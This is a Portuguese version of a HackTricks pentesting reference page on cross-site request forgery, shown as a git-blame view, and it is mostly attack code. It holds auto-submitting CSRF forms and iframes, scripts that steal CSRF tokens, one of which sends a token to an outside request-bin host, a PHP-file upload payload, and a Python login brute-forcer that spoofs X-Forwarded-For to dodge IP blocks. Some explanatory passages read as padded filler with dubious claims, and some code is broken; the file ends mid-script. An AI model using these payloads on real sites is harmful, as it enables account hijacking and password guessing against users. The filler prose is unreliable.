hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

671 lines
33 KiB
Markdown
Raw Normal View History

2022-04-28 23:27:22 +00:00
# CSRF (Cross Site Request Forgery)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais de bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novos programas de recompensas por bugs
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
## O que é CSRF?
2023-06-06 18:56:34 +00:00
**Cross-site request forgery** (também conhecido como CSRF) é uma vulnerabilidade de segurança na web que permite que um invasor **induza usuários a executar ações que eles não pretendem executar**.\
Isso é feito **fazendo um usuário logado** na plataforma da vítima acessar um site controlado pelo atacante e a partir daí **executar** código JS malicioso, enviar formulários ou recuperar "imagens" para a **conta da vítima**.
2023-06-06 18:56:34 +00:00
### Requisitos
2023-06-06 18:56:34 +00:00
Para ser capaz de explorar uma vulnerabilidade CSRF, você primeiro precisa **encontrar uma ação relevante para explorar** (alterar senha ou e-mail, fazer a vítima seguir você em uma rede social, dar mais privilégios...). A **sessão deve depender apenas de cookies ou do cabeçalho de autenticação básica HTTP**, nenhum outro cabeçalho pode ser usado para manipular a sessão. E finalmente, **não deve haver parâmetros imprevisíveis** na solicitação.
2023-06-06 18:56:34 +00:00
Várias **contramedidas** podem ser implementadas para evitar essa vulnerabilidade.
2023-06-06 18:56:34 +00:00
### **Defesas comuns**
2023-06-06 18:56:34 +00:00
* [**Cookies SameSite**](hacking-with-cookies/#samesite): Se o cookie de sessão estiver usando essa flag, você pode não ser capaz de enviar o cookie de sites da web arbitrários.
* [**Compartilhamento de recursos entre origens**](cors-bypass.md): Dependendo do tipo de solicitação HTTP que você precisa executar para explorar a ação relevante, você pode levar em conta a **política CORS do site da vítima**. _Observe que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta._
* Peça a **senha** do usuário para autorizar a ação.
* Resolva um **captcha**
* Leia os cabeçalhos **Referer** ou **Origin**. Se uma expressão regular for usada, ela poderá ser contornada, por exemplo, com:
* http://mal.net?orig=http://example.com (termina com a url)
* http://example.com.mal.net (começa com a url)
* **Modifique** o **nome** dos **parâmetros** da solicitação Post ou Get
* Use um **token CSRF** em cada sessão. Esse token deve ser enviado dentro da solicitação para confirmar a ação. Esse token pode ser protegido com CORS.
2023-06-06 18:56:34 +00:00
### Mapa CSRF
![](<../.gitbook/assets/image (112).png>)
2023-06-06 18:56:34 +00:00
## Bypass de defesas
2023-06-06 18:56:34 +00:00
### De POST para GET
2023-06-06 18:56:34 +00:00
Talvez o formulário que você deseja explorar esteja preparado para enviar uma **solicitação POST com um token CSRF, mas** você deve **verificar** se um **GET** também é **válido** e se, quando você envia uma solicitação GET, o **token CSRF ainda está sendo validado**.
2023-06-06 18:56:34 +00:00
### Falta de token
2023-06-06 18:56:34 +00:00
Algumas aplicações **validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido**.\
Nessa situação, o invasor pode **remover todo o parâmetro** contendo o token (não apenas seu valor) para contornar a validação e realizar um ataque CSRF.
2023-06-06 18:56:34 +00:00
### Token CSRF não está vinculado à sessão do usuário
2023-06-06 18:56:34 +00:00
Algumas aplicações **não validam que o token pertence à mesma sessão** do usuário que está fazendo a solicitação. Em vez disso, a aplicação **mantém um pool global de tokens** que emitiu e aceita qualquer token que apareça neste pool.\
Nessa situação, o invasor pode fazer login na aplicação usando sua própria conta, **obter um token válido** e, em seguida, **alimentar esse token para o usuário vítima** em seu ataque CSRF.
2023-06-06 18:56:34 +00:00
### Bypass de método
2023-06-06 18:56:34 +00:00
Se a solicitação estiver usando um **método "estranho"**, verifique se a **funcionalidade de substituição de método** está funcionando.\
Por exemplo, se estiver **usando um método PUT**, você pode tentar **usar um método POST** e **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
2023-06-06 18:56:34 +00:00
Isso também pode funcionar enviando o **parâmetro \_method dentro de uma solicitação POST** ou usando os **cabeçalhos**:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
2023-06-06 18:56:34 +00:00
### Bypass de token de cabeçalho personalizado
2023-06-06 18:56:34 +00:00
Se a solicitação estiver adicionando um **cabeçalho personalizado** com um **token** à solicitação como **método de proteção CSRF**, então:
2023-06-06 18:56:34 +00:00
* Teste a solicitação sem o **Token Personalizado e também o cabeçalho**.
* Teste a solicitação com **exatamente o mesmo comprimento, mas com um token diferente**.
2023-06-06 18:56:34 +00:00
### Token CSRF é verificado por um cookie
2023-06-06 18:56:34 +00:00
Em uma variação adicional da vulnerabilidade anterior, algumas aplicações **duplicam cada token em um cookie e um parâmetro de solicitação**. Ou **definem um cookie csrf e verificam no backend se o token csrf enviado é o relacionado com o cookie**.
2023-06-06 18:56:34 +00:00
Quando a solicitação subsequente é validada, a aplicação simplesmente verifica se o **token** enviado no **parâmetro da solicitação corresponde** ao valor armazenado pelo **cookie**.\
Nessa situação, o invasor pode novamente realizar um **ataque CSRF se o site da web contiver alguma vulnerabilidade que permita que ele defina seu cookie CSRF para a vítima como um CRLF**.
2021-11-30 16:46:07 +00:00
2023-06-06 18:56:34 +00:00
Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF como neste exemplo:
2021-11-30 16:46:07 +00:00
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
```
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
Observe que se o **token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará** porque você precisará definir a sessão da vítima e, portanto, estará atacando a si mesmo.
2021-11-30 16:46:07 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
### Mudança de Content-Type
2020-08-10 09:56:57 +00:00
2023-06-06 18:56:34 +00:00
De acordo com [**isto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitações de pré-voo** usando o método **POST**, esses são os valores permitidos para Content-Type:
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
2023-06-06 18:56:34 +00:00
No entanto, observe que a **lógica dos servidores pode variar** dependendo do **Content-Type** usado, portanto, você deve tentar os valores mencionados e outros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
2022-04-22 08:32:18 +00:00
2023-06-06 18:56:34 +00:00
Exemplo (de [aqui](https://brycec.me/posts/corctf\_2021\_challenges)) de envio de dados JSON como text/plain:
2022-04-22 08:32:18 +00:00
```html
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
### Bypass de requisição de pré-voo de aplicação/json
2022-04-22 08:32:18 +00:00
2023-06-06 18:56:34 +00:00
Como você já sabe, não é possível enviar uma solicitação POST com o Content-Type **`application/json`** via formulário HTML e, se você tentar fazer isso via **`XMLHttpRequest`**, uma solicitação de pré-voo é enviada primeiro.\
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo **`text/plain`** e **`application/x-www-form-urlencoded`** apenas para verificar se o backend está usando os dados independentemente do Content-Type.\
Você pode enviar um formulário usando `Content-Type: text/plain` definindo **`enctype="text/plain"`**
2023-06-06 18:56:34 +00:00
Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode **enviar o tipo de conteúdo "text/plain; application/json"** sem acionar uma solicitação de pré-voo.
2023-06-06 18:56:34 +00:00
Você também pode tentar **burlar** essa restrição usando um **arquivo flash SWF**. Para mais informações, [**leia este post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
2022-02-21 15:48:28 +00:00
2023-06-06 18:56:34 +00:00
### Bypass de verificação de Referrer / Origin
2023-06-06 18:56:34 +00:00
**Evite o cabeçalho Referrer**
2023-06-06 18:56:34 +00:00
Algumas aplicações validam o cabeçalho Referer quando ele está presente em solicitações, mas **ignoram a validação se o cabeçalho for omitido**.
```markup
<meta name="referrer" content="never">
```
2023-06-06 18:56:34 +00:00
**Burlas de Regexp**
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
2021-11-30 16:46:07 +00:00
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
```
2022-12-03 17:35:56 +00:00
***
2022-10-27 23:22:18 +00:00
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais sobre bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novas recompensas por bugs
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2023-06-06 18:56:34 +00:00
## **Exemplos de Exploração**
2023-06-06 18:56:34 +00:00
### **Exfiltrando Token CSRF**
2023-06-06 18:56:34 +00:00
Se um **token CSRF** está sendo usado como **defesa**, você pode tentar **exfiltrá-lo** abusando de uma vulnerabilidade [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou uma vulnerabilidade de [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
2023-06-06 18:56:34 +00:00
### **GET usando tags HTML**
```markup
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
2023-06-06 18:56:34 +00:00
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:
![](<../.gitbook/assets/image (530).png>)
2023-06-06 18:56:34 +00:00
### Solicitação GET de formulário
```markup
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
### Requisição POST de formulário
```markup
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
2021-06-04 23:20:57 +00:00
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
2021-06-04 23:20:57 +00:00
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
2021-06-04 23:20:57 +00:00
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
2021-06-04 23:20:57 +00:00
```
2023-06-06 18:56:34 +00:00
### Solicitação de POST de formulário através de iframe
2021-06-04 23:20:57 +00:00
```markup
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
2021-06-04 23:20:57 +00:00
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
2023-06-06 18:56:34 +00:00
### **Requisição POST Ajax**
2023-06-06 18:56:34 +00:00
---
2023-06-06 18:56:34 +00:00
An Ajax POST request can be used to perform CSRF attacks. The attacker can create a form with a hidden input field that contains the CSRF token of the victim's session. Then, using JavaScript, the attacker can submit the form using an Ajax POST request to the vulnerable endpoint.
Uma requisição POST Ajax pode ser usada para realizar ataques CSRF. O atacante pode criar um formulário com um campo de entrada oculto que contenha o token CSRF da sessão da vítima. Em seguida, usando JavaScript, o atacante pode enviar o formulário usando uma requisição POST Ajax para o endpoint vulnerável.
```markup
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
2021-06-05 01:10:15 +00:00
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
2021-06-05 01:10:15 +00:00
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>
```
2023-06-06 18:56:34 +00:00
### Requisição POST multipart/form-data
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
2023-06-06 18:56:34 +00:00
### Solicitação POST multipart/form-data v2
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
2023-06-06 18:56:34 +00:00
### Solicitação POST de formulário de dentro de um iframe
```markup
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
2023-06-06 18:56:34 +00:00
### **Roubar o Token CSRF e enviar uma requisição POST**
2023-06-06 18:56:34 +00:00
Uma vez que o token CSRF é armazenado no navegador do usuário, um atacante pode tentar roubá-lo usando técnicas como XSS ou CSRF. Depois de obter o token, o atacante pode enviar uma requisição POST maliciosa para o servidor, que será autenticada pelo token CSRF roubado. Isso pode permitir que o atacante execute ações maliciosas em nome do usuário legítimo.
2023-06-06 18:56:34 +00:00
Para roubar o token CSRF, o atacante pode usar técnicas como a injeção de JavaScript malicioso em uma página vulnerável ou a criação de um formulário falso que envia o token para um servidor controlado pelo atacante. Depois de obter o token, o atacante pode usá-lo para enviar uma requisição POST maliciosa para o servidor.
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
2023-06-06 18:56:34 +00:00
### **Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax**
Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma vez que o token CSRF é obtido, ele pode ser usado para enviar solicitações maliciosas em nome do usuário alvo.
Uma maneira de obter o token CSRF é usando um iframe para carregar a página de destino que contém o token. O token pode então ser extraído do código-fonte da página usando JavaScript e usado para enviar uma solicitação POST maliciosa.
2023-06-06 18:56:34 +00:00
Outra maneira de obter o token CSRF é usando um formulário oculto que é preenchido automaticamente com o token CSRF e enviado usando JavaScript.
2023-06-06 18:56:34 +00:00
Finalmente, o token CSRF também pode ser obtido usando uma solicitação AJAX para a página de destino que retorna o token. O token pode então ser usado para enviar uma solicitação POST maliciosa.
Em todos os casos, o objetivo é obter o token CSRF válido do usuário alvo e usá-lo para enviar solicitações maliciosas em nome do usuário.
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
2023-06-06 18:56:34 +00:00
### **Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário**
Uma técnica comum de ataque CSRF é roubar o token CSRF de um usuário legítimo e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário oculto.
O primeiro passo é obter o token CSRF do usuário legítimo. Isso pode ser feito usando um script malicioso que injeta um iframe em uma página legítima. O iframe aponta para a página que o atacante deseja atacar e inclui um formulário oculto que envia uma solicitação POST com o token CSRF roubado.
2023-06-06 18:56:34 +00:00
Quando o usuário legítimo visita a página legítima, o script malicioso é executado e o iframe é injetado na página. O formulário oculto é preenchido com os dados necessários para enviar a solicitação POST maliciosa, incluindo o token CSRF roubado. Quando o usuário envia o formulário, a solicitação POST é enviada para o servidor da página de destino, que acredita que a solicitação é legítima porque inclui o token CSRF correto.
2023-06-06 18:56:34 +00:00
Para se proteger contra esse tipo de ataque, os desenvolvedores devem garantir que seus aplicativos gerem tokens CSRF exclusivos para cada sessão do usuário e que esses tokens sejam incluídos em todas as solicitações POST. Além disso, os desenvolvedores devem garantir que seus aplicativos não permitam que solicitações POST sejam enviadas de origens não confiáveis.
```markup
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
2023-06-06 18:56:34 +00:00
### **Roubar token e enviá-lo usando 2 iframes**
Este método de ataque CSRF envolve a criação de dois iframes, um para enviar uma solicitação GET para obter o token de autenticação e outro para enviar a solicitação POST com o token roubado. O primeiro iframe é carregado com a URL da página que contém o token de autenticação e o segundo iframe é carregado com a URL da página que contém o formulário que será enviado com o token roubado.
O código HTML para criar os dois iframes é o seguinte:
```html
<iframe id="get-token" src="https://example.com/get-token"></iframe>
<iframe id="send-form" src="https://example.com/send-form"></iframe>
```
2023-06-06 18:56:34 +00:00
O JavaScript para roubar o token e enviá-lo usando os dois iframes é o seguinte:
2023-06-06 18:56:34 +00:00
```javascript
var getTokenFrame = document.getElementById('get-token');
var sendFormFrame = document.getElementById('send-form');
getTokenFrame.onload = function() {
var token = getTokenFrame.contentWindow.document.body.innerHTML;
sendFormFrame.contentWindow.postMessage(token, 'https://example.com');
};
window.addEventListener('message', function(event) {
if (event.origin === 'https://example.com' && event.source === sendFormFrame.contentWindow) {
var form = sendFormFrame.contentWindow.document.getElementById('form');
form.submit();
}
});
```
Este código carrega o primeiro iframe com a URL `https://example.com/get-token`, que deve retornar o token de autenticação em seu corpo HTML. Quando o iframe é carregado, o código JavaScript dentro do `onload` do iframe obtém o token do corpo HTML do iframe e o envia para o segundo iframe usando `postMessage`. O segundo iframe é carregado com a URL `https://example.com/send-form`, que contém um formulário que será enviado com o token roubado. Quando o segundo iframe recebe o token usando `postMessage`, o código JavaScript dentro do `window.addEventListener` do documento envia o formulário com o token roubado.
```markup
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
2023-06-06 18:56:34 +00:00
### **POSTSteal CSRF token com Ajax e enviar um post com um formulário**
Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma maneira de fazer isso é usando uma solicitação Ajax para obter o token e, em seguida, enviar um POST com um formulário contendo o token. O código abaixo mostra como fazer isso:
```javascript
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/endpoint/that/returns/csrf/token', true);
xhr.onload = function () {
var csrfToken = xhr.responseText;
var form = document.createElement('form');
form.setAttribute('method', 'POST');
form.setAttribute('action', '/path/to/endpoint/that/accepts/post/requests');
var hiddenField = document.createElement('input');
hiddenField.setAttribute('type', 'hidden');
hiddenField.setAttribute('name', 'csrf_token');
hiddenField.setAttribute('value', csrfToken);
form.appendChild(hiddenField);
document.body.appendChild(form);
form.submit();
};
xhr.send();
```
2023-06-06 18:56:34 +00:00
Este código envia uma solicitação GET para um endpoint que retorna o token CSRF válido. Em seguida, ele cria um formulário com um campo oculto contendo o token e envia um POST para o endpoint que aceita solicitações POST. O formulário é adicionado ao corpo do documento e enviado automaticamente.
2023-06-06 18:56:34 +00:00
Este ataque pode ser evitado usando tokens CSRF que expiram após um determinado período de tempo ou usando cookies HTTPOnly para armazenar o token CSRF.
```markup
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
2021-06-05 01:10:15 +00:00
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
2023-06-06 18:56:34 +00:00
### CSRF com Socket.IO
Socket.IO é uma biblioteca JavaScript para aplicativos web em tempo real. Ele permite a comunicação bidirecional em tempo real entre o cliente e o servidor. No entanto, o Socket.IO pode ser vulnerável a ataques CSRF.
2023-06-06 18:56:34 +00:00
O Socket.IO usa cookies para autenticar usuários e manter a sessão do usuário. Se um invasor conseguir obter o cookie de autenticação de um usuário, ele poderá enviar solicitações maliciosas em nome do usuário autenticado.
2020-08-06 20:38:54 +00:00
2023-06-06 18:56:34 +00:00
Para explorar essa vulnerabilidade, o invasor pode criar um site malicioso que envia solicitações para o servidor Socket.IO usando o cookie de autenticação do usuário. Quando o usuário visita o site malicioso, as solicitações são enviadas automaticamente para o servidor Socket.IO sem o conhecimento do usuário.
Para evitar esse tipo de ataque, é importante usar tokens CSRF para proteger as solicitações do Socket.IO. O token CSRF é um valor aleatório que é gerado pelo servidor e incluído em cada solicitação. O cliente deve enviar o token CSRF junto com a solicitação e o servidor verifica se o token é válido antes de processar a solicitação.
Para implementar a proteção CSRF no Socket.IO, você pode usar a biblioteca `socketio-csrf`. Essa biblioteca adiciona suporte para tokens CSRF ao Socket.IO e é fácil de usar. Basta adicionar o middleware `csrf` ao seu aplicativo Socket.IO e a biblioteca cuidará do resto.
2020-08-06 20:38:54 +00:00
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
```
2022-05-01 13:25:53 +00:00
## CSRF Login Brute Force
2020-11-06 18:22:38 +00:00
2023-06-06 18:56:34 +00:00
O código pode ser usado para forçar a entrada em um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar uma possível lista negra de IP):
2020-11-06 18:22:38 +00:00
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
